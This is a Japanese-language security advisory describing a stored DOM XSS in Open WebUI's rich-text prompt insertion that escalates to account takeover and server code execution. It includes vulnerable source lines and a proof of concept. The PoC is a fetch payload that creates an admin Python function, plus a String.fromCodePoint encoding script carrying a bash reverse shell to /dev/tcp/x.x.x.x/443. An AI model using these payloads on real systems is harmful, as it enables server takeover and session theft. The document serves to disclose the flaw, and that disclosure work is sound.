
Open WebUIは、'Insert Prompt as Rich Text'が有効な場合、プロンプトを介した保存型DOM XSSに対して脆弱であり、ATO/RCEにつながります。
Open WebUI は、'Insert Prompt as Rich Text'(プロンプトをリッチテキストとして挿入)が有効な場合、プロンプトを介して保存型 DOM XSS に対して脆弱であり、ATO/RCE を引き起こします。

カスタムプロンプトをチャットウィンドウに挿入する機能は、'Insert Prompt as Rich Text' が有効な場合、プロンプト本文がサニタイズなしで DOM シンク .innerHtml に割り当てられるため、DOM XSS に対して脆弱です。プロンプトを作成する権限を持つユーザーは、これを悪用してペイロードを仕掛けることができ、他のユーザーが対応する / コマンドを実行してプロンプトを挿入するとトリガーされる可能性があります。
影響を受ける行は
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
ユーザー制御の HTML がプロンプト本文から tempDiv.innerHTML に(意味のある)サニタイズなしで割り当てられます。marked.parse はいくつかの文字制限を導入しますが、README に記載されているようにコンテンツをサニタイズしません。

PoC
次のようにカスタムプロンプトを作成します。

設定で、'Insert Prompt as Rich Text' が有効になっていることを確認します。

チャットウィンドウで /poc コマンドを実行します。

アラートがトリガーされることを確認します。

RCE 管理者は 'Functions' 機能を介してサーバー上で任意の Python コードを自然に実行できるため、この XSS を使用して、トリガーする管理者に、攻撃者が選択した Python コードを含む関数のいずれかを強制的に実行させることができます。
これは、以下の fetch リクエストを実行させることで達成できます。
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
これは、HTML が marked.parse を通過するため、引用符を含むペイロードが無効化されるため、直接実行できません。

これを回避するには、String.fromCodePoint を使用して文字列を十進数値から手動で構築する必要があります。次の Python スクリプトは、指定された JavaScript から実行可能なペイロードを生成するプロセスを自動化します。
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
対応するペイロードをプロンプトコマンドを介してトリガーする管理者は、reverse shell ペイロードを実行する Python 関数をトリガーし、攻撃者にサーバーへのコマンドラインアクセスを提供します。



悪意のあるプロンプトを実行したユーザーは、悪意のある JavaScript が session token を localstorage から読み取り、攻撃者が管理するサーバーに流出させることで、アカウントが侵害される可能性があります。
悪意のあるプロンプトを実行する管理者ユーザーは、バックエンドサーバーを remote code execution (RCE) にさらすリスクがあります。脆弱性を介して実行される悪意のある JavaScript は、管理者ユーザーとしてリクエストを送信し、悪意のある Python 関数(オペレーティングシステムコマンドを実行する可能性がある)を実行するために使用される可能性があるためです。
デフォルトでは低特権ユーザーはプロンプトを作成できません。USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS 権限が必要であり、これは例えばカスタムグループを介して付与される可能性があります。参照: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
被害ユーザーがプロンプトをトリガーするコマンドを実行するには、設定の 'Insert Prompt as Rich Text' を有効にしている必要があります(脆弱性がトリガーされるため)。この設定はデフォルトでオフです。この設定が無効なユーザーは影響を受けません。
DOMPurify を使用して user controlled HTML を .innerHtml に割り当てる前にサニタイズします。